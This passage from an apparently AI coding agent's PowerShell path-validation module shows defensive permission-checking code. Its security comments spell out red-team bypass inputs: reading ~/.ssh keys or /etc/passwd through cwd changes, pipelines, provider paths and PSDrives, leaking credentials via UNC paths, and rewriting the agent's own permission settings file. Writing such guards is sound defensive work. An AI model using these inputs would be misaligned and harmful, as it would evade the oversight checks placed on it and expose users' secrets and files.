* Checks if a lowercase parameter name (with leading dash) matches any entry
* in the given param list, accounting for PowerShell's prefix-matching behavior
* (e.g., -Lit matches -LiteralPath).
*/
function matchesParam(paramLower: string, paramList: string[]): boolean {
for (const p of paramList) {
if (
p === paramLower ||
(paramLower.length > 1 && p.startsWith(paramLower))
) {
return true
}
}
return false
}
/**
* Returns true if a colon-syntax value contains expression constructs that
* mask the real runtime path (arrays, subexpressions, variables, backtick
* escapes). The outer CommandParameterAst 'Parameter' element type hides
* these from our AST walk, so we must detect them textually.
*
* Used in three branches of extractPathsFromCommand: pathParams,
* leafOnlyPathParams, and the unknown-param defense-in-depth branch.
*/
function hasComplexColonValue(rawValue: string): boolean {
return (
rawValue.includes(',') ||
rawValue.startsWith('(') ||
rawValue.startsWith('[') ||
rawValue.includes('`') ||
rawValue.includes('@(') ||
rawValue.startsWith('@{') ||
rawValue.includes('$')
)
}
function formatDirectoryList(directories: string[]): string {
const dirCount = directories.length
if (dirCount <= MAX_DIRS_TO_LIST) {
return directories.map(dir => `'${dir}'`).join(', ')
}
const firstDirs = directories
.slice(0, MAX_DIRS_TO_LIST)
.map(dir => `'${dir}'`)
.join(', ')
return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`
}
/**
* Expands tilde (~) at the start of a path to the user's home directory.
*/
function expandTilde(filePath: string): string {
if (
filePath === '~' ||
filePath.startsWith('~/') ||
filePath.startsWith('~\\')
) {
return homedir() + filePath.slice(1)
}
return filePath
}
/**
* Checks the raw user-provided path (pre-realpath) for dangerous removal
* targets. safeResolvePath/realpathSync canonicalizes in ways that defeat
* isDangerousRemovalPath: on Windows '/' β 'C:\' (fails the === '/' check);
* on macOS homedir() may be under /var which realpathSync rewrites to
* /private/var (fails the === homedir() check). Checking the tilde-expanded,
* backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr)
* as the user typed them.
*/
export function isDangerousRemovalRawPath(filePath: string): boolean {
const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace(
/\\/g,
'/',
)
return isDangerousRemovalPath(expanded)
}
export function dangerousRemovalDeny(path: string): PermissionResult {
return {
behavior: 'deny',
message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`,
decisionReason: {
type: 'other',
reason: 'Removal targets a protected system path',
},
}
}
/**
* Checks if a resolved path is allowed for the given operation type.
* Mirrors the logic in BashTool/pathValidation.ts isPathAllowed.
*/
function isPathAllowed(
resolvedPath: string,
context: ToolPermissionContext,
operationType: FileOperationType,
precomputedPathsToCheck?: readonly string[],
): PathCheckResult {
const permissionType = operationType === 'read' ? 'read' : 'edit'
// 1. Check deny rules first
const denyRule = matchingRuleForInput(
resolvedPath,
context,
permissionType,
'deny',
)
if (denyRule !== null) {
return {
allowed: false,
decisionReason: { type: 'rule', rule: denyRule },
}
}
// 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs)
// This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory
// and internal editable paths live under ~/.claude/ β matching the ordering in
// checkWritePermissionForTool (filesystem.ts step 1.5)
if (operationType !== 'read') {
const internalEditResult = checkEditableInternalPath(resolvedPath, {})
if (internalEditResult.behavior === 'allow') {
return {
allowed: true,
decisionReason: internalEditResult.decisionReason,
}
}
}
// 2.5. For write/create operations, check safety validations
if (operationType !== 'read') {
const safetyCheck = checkPathSafetyForAutoEdit(
resolvedPath,
precomputedPathsToCheck,
)
if (!safetyCheck.safe) {
return {
allowed: false,
decisionReason: {
type: 'safetyCheck',
reason: safetyCheck.message,
classifierApprovable: safetyCheck.classifierApprovable,
},
}
}
}
// 3. Check if path is in allowed working directory
const isInWorkingDir = pathInAllowedWorkingPath(
resolvedPath,
context,
precomputedPathsToCheck,
)
if (isInWorkingDir) {
if (operationType === 'read' || context.mode === 'acceptEdits') {
return { allowed: true }
}
}
// 3.5. For read operations, check internal readable paths
if (operationType === 'read') {
const internalReadResult = checkReadableInternalPath(resolvedPath, {})
if (internalReadResult.behavior === 'allow') {
return {
allowed: true,
decisionReason: internalReadResult.decisionReason,
}
}
}
// 3.7. For write/create operations to paths OUTSIDE the working directory,
// check the sandbox write allowlist. When the sandbox is enabled, users
// have explicitly configured writable directories (e.g. /tmp/claude/) β
// treat these as additional allowed write directories so redirects/Out-File/
// New-Item don't prompt unnecessarily. Paths IN the working directory are
// excluded: the sandbox allowlist always seeds '.' (cwd), which would
// bypass the acceptEdits gate at step 3.
if (
operationType !== 'read' &&
!isInWorkingDir &&
isPathInSandboxWriteAllowlist(resolvedPath)
) {
return {
allowed: true,
decisionReason: {
type: 'other',
reason: 'Path is in sandbox write allowlist',
},
}
}
// 4. Check allow rules
const allowRule = matchingRuleForInput(
resolvedPath,
context,
permissionType,
'allow',
)
if (allowRule !== null) {
return {
allowed: true,
decisionReason: { type: 'rule', rule: allowRule },
}
}
// 5. Path is not allowed
return { allowed: false }
}
/**
* Best-effort deny check for paths obscured by :: or backtick syntax.
* ONLY checks deny rules β never auto-allows. If the stripped guess
* doesn't match a deny rule, we fall through to ask as before.
*/
function checkDenyRuleForGuessedPath(
strippedPath: string,
cwd: string,
toolPermissionContext: ToolPermissionContext,
operationType: FileOperationType,
): { resolvedPath: string; rule: PermissionRule } | null {
// Red-team P7: null bytes make expandPath throw. Pre-existing but
// defend here since we're introducing a new call path.
if (!strippedPath || strippedPath.includes('\0')) return null
// Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires
// on leading ~ β the backtick was in front of it. Re-run here.
const tildeExpanded = expandTilde(strippedPath)
const abs = isAbsolute(tildeExpanded)
? tildeExpanded
: resolve(cwd, tildeExpanded)
const { resolvedPath } = safeResolvePath(getFsImplementation(), abs)
const permissionType = operationType === 'read' ? 'read' : 'edit'
const denyRule = matchingRuleForInput(
resolvedPath,
toolPermissionContext,
permissionType,
'deny',
)
return denyRule ? { resolvedPath, rule: denyRule } : null
}
/**
* Validates a file system path, handling tilde expansion.
*/
function validatePath(
filePath: string,
cwd: string,
toolPermissionContext: ToolPermissionContext,
operationType: FileOperationType,
): ResolvedPathCheckResult {
// Remove surrounding quotes if present
const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''))
// SECURITY: PowerShell Core normalizes backslashes to forward slashes on all
// platforms, but path.resolve on Linux/Mac treats them as literal characters.
// Normalize before resolution so traversal patterns like dir\..\..\etc\shadow
// are correctly detected.
const normalizedPath = cleanPath.replace(/\\/g, '/')
// SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in
// many positions (e.g., `/ === /) but defeats Node.js path checks like
// isAbsolute(). Redirection targets use raw .Extent.Text which preserves
// backtick escapes. Treat any path containing a backtick as unvalidatable.
if (normalizedPath.includes('`')) {
// Red-team P3: backtick is already resolved for StringConstant args
// (parser uses .value); this guard primarily fires for redirection
// targets which use raw .Extent.Text. Strip is a no-op for most special
// escapes (`n β n) but that's fine β wrong guess β no deny match β
// falls to ask.
const backtickStripped = normalizedPath.replace(/`/g, '')
const denyHit = checkDenyRuleForGuessedPath(
backtickStripped,
cwd,
toolPermissionContext,
operationType,
)
if (denyHit) {
return {
allowed: false,
resolvedPath: denyHit.resolvedPath,
decisionReason: { type: 'rule', rule: denyHit.rule },
}
}
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason:
'Backtick escape characters in paths cannot be statically validated and require manual approval',
},
}
}
// SECURITY: Block module-qualified provider paths. PowerShell allows
// `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to
// `/etc/passwd` via the FileSystem provider. The `::` is the provider
// path separator and doesn't match the simple `^[a-z]{2,}:` regex.
if (normalizedPath.includes('::')) {
// Strip everything up to and including the first :: β handles both
// FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path.
// Double-:: (Foo::Bar::/x) strips first only β 'Bar::/x' β resolve
// makes it {cwd}/Bar::/x β won't match real deny rules β falls to ask.
// Safe.
const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2)
const denyHit = checkDenyRuleForGuessedPath(
afterProvider,
cwd,
toolPermissionContext,
operationType,
)
if (denyHit) {
return {
allowed: false,
resolvedPath: denyHit.resolvedPath,
decisionReason: { type: 'rule', rule: denyHit.rule },
}
}
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason:
'Module-qualified provider paths (::) cannot be statically validated and require manual approval',
},
}
}
// SECURITY: Block UNC paths β they can trigger network requests and
// leak NTLM/Kerberos credentials
if (
normalizedPath.startsWith('//') ||
/DavWWWRoot/i.test(normalizedPath) ||
/@SSL@/i.test(normalizedPath)
) {
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason:
'UNC paths are blocked because they can trigger network requests and credential leakage',
},
}
}
// SECURITY: Reject paths containing shell expansion syntax
if (normalizedPath.includes('$') || normalizedPath.includes('%')) {
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason: 'Variable expansion syntax in paths requires manual approval',
},
}
}
// SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.)
// These paths access non-filesystem resources and must require manual approval.
// This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'.
//
// Platform split (findings #21/#28):
// - Windows: require 2+ letters before ':' so native drive letters (C:, D:)
// pass through to path.win32.isAbsolute/resolve which handle them correctly.
// - POSIX: ANY <letters>: prefix is a PowerShell PSDrive β single-letter drive
// paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc`
// then `Get-Content Z:/secrets` would otherwise resolve via
// path.posix.resolve(cwd, 'Z:/secrets') β '{cwd}/Z:/secrets' β inside cwd β
// allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what
// filesystem root a PSDrive maps to, so treat all drive-prefixed paths on
// POSIX as unvalidatable.
// Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...`
// creates drive `1:` β a valid PSDrive path prefix.
// Windows regex requires 2+ chars to exclude single-letter native drive letters
// (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric
// PSDrive names like `a1:`, `1a:` β the previous alternation `[a-z]{2,}|[0-9]+`
// missed those since `a1` is neither pure letters nor pure digits.
const providerPathRegex =
getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i
if (providerPathRegex.test(normalizedPath)) {
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`,
},
}
}
// SECURITY: Block glob patterns in write/create operations
if (GLOB_PATTERN_REGEX.test(normalizedPath)) {
if (operationType === 'write' || operationType === 'create') {
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason:
'Glob patterns are not allowed in write operations. Please specify an exact file path.',
},
}
}
// For read operations with path traversal (e.g., /project/*/../../../etc/shadow),
// resolve the full path (including glob chars) and validate that resolved path.
// This catches patterns that escape the working directory via `..` after the glob.
if (containsPathTraversal(normalizedPath)) {
const absolutePath = isAbsolute(normalizedPath)
? normalizedPath
: resolve(cwd, normalizedPath)
const { resolvedPath, isCanonical } = safeResolvePath(
getFsImplementation(),
absolutePath,
)
const result = isPathAllowed(
resolvedPath,
toolPermissionContext,
operationType,
isCanonical ? [resolvedPath] : undefined,
)
return {
allowed: result.allowed,
resolvedPath,
decisionReason: result.decisionReason,
}
}
// SECURITY (finding #15): Glob patterns for read operations cannot be
// statically validated. getGlobBaseDirectory returns the directory before
// the first glob char; only that base is realpathed. Anything matched by
// the glob (including symlinks) is never examined. Example:
// /project/*/passwd with symlink /project/link β /etc
// Base dir is /project (allowed), but runtime expands * to 'link' and
// reads /etc/passwd. We cannot validate symlinks inside glob expansion
// without actually expanding the glob (requires filesystem access and
// still races with attacker creating symlinks post-validation).
//
// Still check deny rules on the base directory so explicit Read(/project/**)
// deny rules fire. If no deny matches, force ask.
const basePath = getGlobBaseDirectory(normalizedPath)
const absoluteBasePath = isAbsolute(basePath)
? basePath
: resolve(cwd, basePath)
const { resolvedPath } = safeResolvePath(
getFsImplementation(),
absoluteBasePath,
)
const permissionType = operationType === 'read' ? 'read' : 'edit'
const denyRule = matchingRuleForInput(
resolvedPath,
toolPermissionContext,
permissionType,
'deny',
)
if (denyRule !== null) {
return {
allowed: false,
resolvedPath,
decisionReason: { type: 'rule', rule: denyRule },
}
}
return {
allowed: false,
resolvedPath,
decisionReason: {
type: 'other',
reason:
'Glob patterns in paths cannot be statically validated β symlinks inside the glob expansion are not examined. Requires manual approval.',
},
}
}
// Resolve path
const absolutePath = isAbsolute(normalizedPath)
? normalizedPath
: resolve(cwd, normalizedPath)
const { resolvedPath, isCanonical } = safeResolvePath(
getFsImplementation(),
absolutePath,
)
const result = isPathAllowed(
resolvedPath,
toolPermissionContext,
operationType,
isCanonical ? [resolvedPath] : undefined,
)
return {
allowed: result.allowed,
resolvedPath,
decisionReason: result.decisionReason,
}
}
function getGlobBaseDirectory(filePath: string): string {
const globMatch = filePath.match(GLOB_PATTERN_REGEX)
if (!globMatch || globMatch.index === undefined) {
return filePath
}
const beforeGlob = filePath.substring(0, globMatch.index)
const lastSepIndex = Math.max(
beforeGlob.lastIndexOf('/'),
beforeGlob.lastIndexOf('\\'),
)
if (lastSepIndex === -1) return '.'
return beforeGlob.substring(0, lastSepIndex + 1) || '/'
}
/**
* Element types that are safe to extract as literal path strings.
*
* Only element types with statically-known string values are safe for path
* extraction. Variable and ExpandableString have runtime-determined values β
* even though they're defended downstream ($ detection in validatePath's
* `includes('$')` check, and the hasExpandableStrings security flag), excluding
* them here is defense-in-direct: fail-safe at the earliest gate rather than
* relying on downstream checks to catch them.
*
* Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression',
* 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated
* and must force an ask.
*/
const SAFE_PATH_ELEMENT_TYPES = new Set<string>(['StringConstant', 'Parameter'])
/**
* Extract file paths from a parsed PowerShell command element.
* Uses the AST args to find positional and named path parameters.
*
* If any path argument has a complex elementType (e.g., array literal,
* subexpression) that cannot be statically validated, sets
* hasUnvalidatablePathArg so the caller can force an ask.
*/
function extractPathsFromCommand(cmd: ParsedCommandElement): {
paths: string[]
operationType: FileOperationType
hasUnvalidatablePathArg: boolean
optionalWrite: boolean
} {
const canonical = resolveToCanonical(cmd.name)
const config = CMDLET_PATH_CONFIG[canonical]
if (!config) {
return {
paths: [],
operationType: 'read',
hasUnvalidatablePathArg: false,
optionalWrite: false,
}
}
// Build per-cmdlet known-param sets, merging in common parameters.
const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES]
const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS]
const paths: string[] = []
const args = cmd.args
// elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i]
const elementTypes = cmd.elementTypes
let hasUnvalidatablePathArg = false
let positionalsSeen = 0
const positionalSkip = config.positionalSkip ?? 0
function checkArgElementType(argIdx: number): void {
if (!elementTypes) return
const et = elementTypes[argIdx + 1]
if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) {
hasUnvalidatablePathArg = true
}
}
// Extract named parameter values (e.g., -Path "C:\foo")
for (let i = 0; i < args.length; i++) {
const arg = args[i]
if (!arg) continue
// Check if this arg is a parameter name.
// SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer
// accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter
// prefixes; a raw startsWith('-') check misses `βPath` (en-dash). The
// parser maps CommandParameterAst β 'Parameter' regardless of dash char.
// isPowerShellParameter also correctly rejects quoted "-Include"
// (StringConstant, not a parameter).
const argElementType = elementTypes ? elementTypes[i + 1] : undefined
if (isPowerShellParameter(arg, argElementType)) {
// Handle colon syntax: -Path:C:\secret
// Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`).
const normalized = '-' + arg.slice(1)
const colonIdx = normalized.indexOf(':', 1) // skip first char (the dash)
const paramName =
colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized
const paramLower = paramName.toLowerCase()
if (matchesParam(paramLower, config.pathParams)) {
// Known path parameter β extract its value as a path.
let value: string | undefined
if (colonIdx > 0) {
// Colon syntax: -Path:value β the whole thing is one element.
// SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd)
// produce ArrayLiteralExpressionAst inside the CommandParameterAst.
// PowerShell writes to ALL paths, but we see a single string.
const rawValue = arg.substring(colonIdx + 1)
if (hasComplexColonValue(rawValue)) {
hasUnvalidatablePathArg = true
} else {
value = rawValue
}
} else {
// Standard syntax: -Path value
const nextVal = args[i + 1]
const nextType = elementTypes ? elementTypes[i + 2] : undefined
if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
value = nextVal
checkArgElementType(i + 1)
i++ // Skip the value
}
}
if (value) {
paths.push(value)
}
} else if (
config.leafOnlyPathParams &&
matchesParam(paramLower, config.leafOnlyPathParams)
) {
// Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves
// this relative to ANOTHER parameter (-Path), not cwd. validatePath
// resolves against cwd (L930), so non-leaf values (separators,
// traversal) resolve to the WRONG location and can miss deny rules
// (denyβask downgrade). Extract simple leaf filenames; flag anything
// path-like.
let value: string | undefined
if (colonIdx > 0) {
const rawValue = arg.substring(colonIdx + 1)
if (hasComplexColonValue(rawValue)) {
hasUnvalidatablePathArg = true
} else {
value = rawValue
}
} else {
const nextVal = args[i + 1]
const nextType = elementTypes ? elementTypes[i + 2] : undefined
if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
value = nextVal
checkArgElementType(i + 1)
i++
}
}
if (value !== undefined) {
if (
value.includes('/') ||
value.includes('\\') ||
value === '.' ||
value === '..'
) {
// Non-leaf: separators or traversal. Can't resolve correctly
// without joining against -Path. Force ask.
hasUnvalidatablePathArg = true
} else {
// Simple leaf: extract. Resolves to cwd/leaf (slightly wrong β
// should be <-Path>/leaf) but -Path extraction covers the
// directory, and a leaf filename can't traverse out of anywhere.
paths.push(value)
}
}
} else if (matchesParam(paramLower, switchParams)) {
// Known switch parameter β takes no value, do NOT consume next arg.
// (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained
// in one token and correctly falls through here without consuming.)
} else if (matchesParam(paramLower, valueParams)) {
// Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt).
// Consume its value; do NOT validate as path, but DO check elementType.
// SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any
// argument position means the runtime value is not statically knowable.
// Without this check, `-Value $env:SECRET` would be silently auto-allowed
// in acceptEdits mode because the Variable elementType was never examined.
if (colonIdx > 0) {
// Colon syntax: -Value:$env:FOO β the value is embedded in the token.
// The outer CommandParameterAst 'Parameter' type masks the inner
// expression type. Check for expression markers that indicate a
// non-static value (mirrors pathParams colon-syntax guards).
const rawValue = arg.substring(colonIdx + 1)
if (hasComplexColonValue(rawValue)) {
hasUnvalidatablePathArg = true
}
} else {
const nextArg = args[i + 1]
const nextArgType = elementTypes ? elementTypes[i + 2] : undefined
if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) {
checkArgElementType(i + 1)
i++ // Skip the parameter's value
}
}
} else {
// Unknown parameter β we do not understand this invocation.
// SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS
// whack-a-mole. Rather than guess whether this param is a switch
// (and risk swallowing a positional path) or takes a value (and
// risk the same), we flag the whole command as unvalidatable.
// The caller will force an ask.
hasUnvalidatablePathArg = true
// SECURITY: Even though we don't recognize this param, if it uses
// colon syntax (-UnknownParam:/etc/hosts) the bound value might be
// a filesystem path. Extract it into paths[] so deny-rule matching
// still runs. Without this, the value is trapped inside the single
// token and paths=[] means deny rules are never consulted β
// downgrading deny to ask. This is defense-in-depth: the primary
// fix is adding all known aliases to pathParams above.
if (colonIdx > 0) {
const rawValue = arg.substring(colonIdx + 1)
if (!hasComplexColonValue(rawValue)) {
paths.push(rawValue)
}
}
// Continue the loop so we still extract any recognizable paths
// (useful for the ask message), but the flag ensures overall 'ask'.
}
continue
}
// Positional arguments: extract as paths (e.g., Get-Content file.txt)
// The first positional arg is typically the source path.
// Skip leading positionals that are non-path values (e.g., iwr's -Uri).
if (positionalsSeen < positionalSkip) {
positionalsSeen++
continue
}
positionalsSeen++
checkArgElementType(i)
paths.push(arg)
}
return {
paths,
operationType: config.operationType,
hasUnvalidatablePathArg,
optionalWrite: config.optionalWrite ?? false,
}
}
/**
* Checks path constraints for PowerShell commands.
* Extracts file paths from the parsed AST and validates they are
* within allowed directories.
*
* @param compoundCommandHasCd - Whether the full compound command contains a
* cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive,
* excluding no-op Set-Location-to-CWD). When true, relative paths in ANY
* statement cannot be trusted β PowerShell executes statements sequentially
* and a cd in statement N changes the cwd for statement N+1, but this
* validator resolves all paths against the stale Node process cwd.
* BashTool parity (BashTool/pathValidation.ts:630-655).
*
* @returns
* - 'ask' if any path command tries to access outside allowed directories
* - 'deny' if a deny rule explicitly blocks the path
* - 'passthrough' if no path commands were found or all paths are valid
*/
export function checkPathConstraints(
input: { command: string },
parsed: ParsedPowerShellCommand,
toolPermissionContext: ToolPermissionContext,
compoundCommandHasCd = false,
): PermissionResult {
if (!parsed.valid) {
return {
behavior: 'passthrough',
message: 'Cannot validate paths for unparsed command',
}
}
// SECURITY: Two-pass approach β check ALL statements/paths so deny rules
// always take precedence over ask. Without this, an ask on statement 1
// could return before checking statement 2 for deny rules, letting the
// user approve a command that includes a denied path.
let firstAsk: PermissionResult | undefined
for (const statement of parsed.statements) {
const result = checkPathConstraintsForStatement(
statement,
toolPermissionContext,
compoundCommandHasCd,
)
if (result.behavior === 'deny') {
return result
}
if (result.behavior === 'ask' && !firstAsk) {
firstAsk = result
}
}
return (
firstAsk ?? {
behavior: 'passthrough',
message: 'All path constraints validated successfully',
}
)
}
function checkPathConstraintsForStatement(
statement: ParsedPowerShellCommand['statements'][number],
toolPermissionContext: ToolPermissionContext,
compoundCommandHasCd = false,
): PermissionResult {
const cwd = getCwd()
let firstAsk: PermissionResult | undefined
// SECURITY: BashTool parity β block path operations in compound commands
// containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655).
//
// When the compound contains Set-Location/Push-Location/Pop-Location/
// New-PSDrive, relative paths in later statements resolve against the
// CHANGED cwd at runtime, but this validator resolves them against the
// STALE getCwd() snapshot. Example attack (finding #3):
// Set-Location ./.claude; Set-Content ./settings.json '...'
// Validator sees ./settings.json β /project/settings.json (not a config file).
// Runtime writes /project/.claude/settings.json (Claude's permission config).
//
// ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain
// β after `Set-Location ./.claude`, validate subsequent statements with
// cwd='./.claude'. This would be more permissive but requires careful
// handling of:
// - Push-Location/Pop-Location stack semantics
// - Set-Location with no args (β home on some platforms)
// - New-PSDrive root mapping (arbitrary filesystem root)
// - Conditional/loop statements where cd may or may not execute
// - Error cases where the cd target can't be statically determined
// For now we take the conservative approach of requiring manual approval.
//
// Unlike BashTool which gates on `operationType !== 'read'`, we also block
// READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses
// Read(~/.ssh/**) deny rules because the validator matched the deny against
// /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as
// writes destroy it. We still run deny-rule matching below (via firstAsk,
// not early return) so explicit deny rules on the stale-resolved path are
// honored β deny > ask in the caller's reduce.
if (compoundCommandHasCd) {
firstAsk = {
behavior: 'ask',
message:
'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) β relative paths cannot be validated against the original cwd and require manual approval',
decisionReason: {
type: 'other',
reason:
'Compound command contains cd with path operation β manual approval required to prevent path resolution bypass',
},
}
}
// SECURITY: Track whether this statement contains a non-CommandAst pipeline
// element (string literal, variable, array expression). PowerShell pipes
// these values to downstream cmdlets, often binding to -Path. Example:
// `'/etc/passwd' | Remove-Item` β the string is piped to Remove-Item's -Path,
// but Remove-Item has no explicit args so extractPathsFromCommand returns
// zero paths and the command would passthrough. If ANY downstream cmdlet
// appears alongside an expression source, we force an ask β the piped
// path is unvalidatable regardless of operation type (reads leak data;
// writes destroy it).
let hasExpressionPipelineSource = false
// Track the non-CommandAst element's text for deny-rule guessing (finding #23).
// `'.git/hooks/pre-commit' | Remove-Item` β path comes via pipeline, paths=[]
// from extractPathsFromCommand, so the deny loop below never iterates. We
// feed the pipeline-source text through checkDenyRuleForGuessedPath so
// explicit Edit(.git/**) deny rules still fire.
let pipelineSourceText: string | undefined
for (const cmd of statement.commands) {
if (cmd.elementType !== 'CommandAst') {
hasExpressionPipelineSource = true
pipelineSourceText = cmd.text
continue
}
const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
extractPathsFromCommand(cmd)
// SECURITY: Cmdlet receiving piped path from expression source.
// `'/etc/shadow' | Get-Content` β Get-Content extracts zero paths
// (no explicit args). The path comes from the pipeline, which we cannot
// statically validate. Previously exempted reads (`operationType !== 'read'`),
// but that was a bypass (review comment 2885739292): reads from
// unvalidatable paths are still a security risk. Ask regardless of op type.
if (hasExpressionPipelineSource) {
const canonical = resolveToCanonical(cmd.name)
// SECURITY (finding #23): Before falling back to ask, check if the
// pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' |
// Remove-Item` should DENY (not ask) when Edit(.git/**) is configured.
// Strip surrounding quotes (string literals are quoted in .text) and
// feed through the same deny-guess helper used for ::/backtick paths.
if (pipelineSourceText !== undefined) {
const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '')
const denyHit = checkDenyRuleForGuessedPath(
stripped,
cwd,
toolPermissionContext,
operationType,
)
if (denyHit) {
return {
behavior: 'deny',
message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`,
decisionReason: { type: 'rule', rule: denyHit.rule },
}
}
}
firstAsk ??= {
behavior: 'ask',
message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`,
}
// Don't continue β fall through to path loop so deny rules on
// extracted paths are still checked.
}
// SECURITY: Array literals, subexpressions, and other complex
// argument types cannot be statically validated. An array literal
// like `-Path ./safe.txt, /etc/passwd` produces a single 'Other'
// element whose combined text may resolve within CWD while
// PowerShell actually writes to ALL paths in the array.
if (hasUnvalidatablePathArg) {
const canonical = resolveToCanonical(cmd.name)
firstAsk ??= {
behavior: 'ask',
message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
}
// Don't continue β fall through to path loop so deny rules on
// extracted paths are still checked.
}
// SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths.
// Either (a) the cmdlet has no args at all (`Remove-Item` alone β
// PowerShell will error, but we shouldn't optimistically assume that), or
// (b) we failed to recognize the path among the args (shouldn't happen
// with the unknown-param fail-safe, but defense-in-depth). Conservative:
// write operation with no validated target β ask.
// Read cmdlets and pop-location (pathParams: []) are exempt.
// optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without
// -OutFile) are ALSO exempt β they only write to disk when a pathParam is
// present; without one, output goes to the pipeline. The
// hasUnvalidatablePathArg check above already covers unknown-param cases.
if (
operationType !== 'read' &&
!optionalWrite &&
paths.length === 0 &&
CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
) {
const canonical = resolveToCanonical(cmd.name)
firstAsk ??= {
behavior: 'ask',
message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
}
continue
}
// SECURITY: bash-parity hard-deny for removal cmdlets on
// system-critical paths. BashTool has isDangerousRemovalPath which
// hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config.
// Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase β resolveToCanonical)
// on a dangerous path β deny (not ask). User cannot approve system32 deletion.
const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
for (const filePath of paths) {
// Hard-deny removal of dangerous system paths (/, ~, /etc, etc.).
// Check the RAW path (pre-realpath) first: safeResolvePath can
// canonicalize '/' β 'C:\' (Windows) or '/var/...' β '/private/var/...'
// (macOS) which defeats isDangerousRemovalPath's string comparisons.
if (isRemoval && isDangerousRemovalRawPath(filePath)) {
return dangerousRemovalDeny(filePath)
}
const { allowed, resolvedPath, decisionReason } = validatePath(
filePath,
cwd,
toolPermissionContext,
operationType,
)
// Also check the resolved path β catches symlinks that resolve to a
// protected location.
if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
return dangerousRemovalDeny(resolvedPath)
}
if (!allowed) {
const canonical = resolveToCanonical(cmd.name)
const workingDirs = Array.from(
allWorkingDirectories(toolPermissionContext),
)
const dirListStr = formatDirectoryList(workingDirs)
const message =
decisionReason?.type === 'other' ||
decisionReason?.type === 'safetyCheck'
? decisionReason.reason
: `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') {
return {
behavior: 'deny',
message,
decisionReason,
}
}
const suggestions: PermissionUpdate[] = []
if (resolvedPath) {
if (operationType === 'read') {
const suggestion = createReadRuleSuggestion(
getDirectoryForPath(resolvedPath),
'session',
)
if (suggestion) {
suggestions.push(suggestion)
}
} else {
suggestions.push({
type: 'addDirectories',
directories: [getDirectoryForPath(resolvedPath)],
destination: 'session',
})
}
}
if (operationType === 'write' || operationType === 'create') {
suggestions.push({
type: 'setMode',
mode: 'acceptEdits',
destination: 'session',
})
}
firstAsk ??= {
behavior: 'ask',
message,
blockedPath: resolvedPath,
decisionReason,
suggestions,
}
}
}
}
// Also check nested commands from control flow
if (statement.nestedCommands) {
for (const cmd of statement.nestedCommands) {
const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
extractPathsFromCommand(cmd)
if (hasUnvalidatablePathArg) {
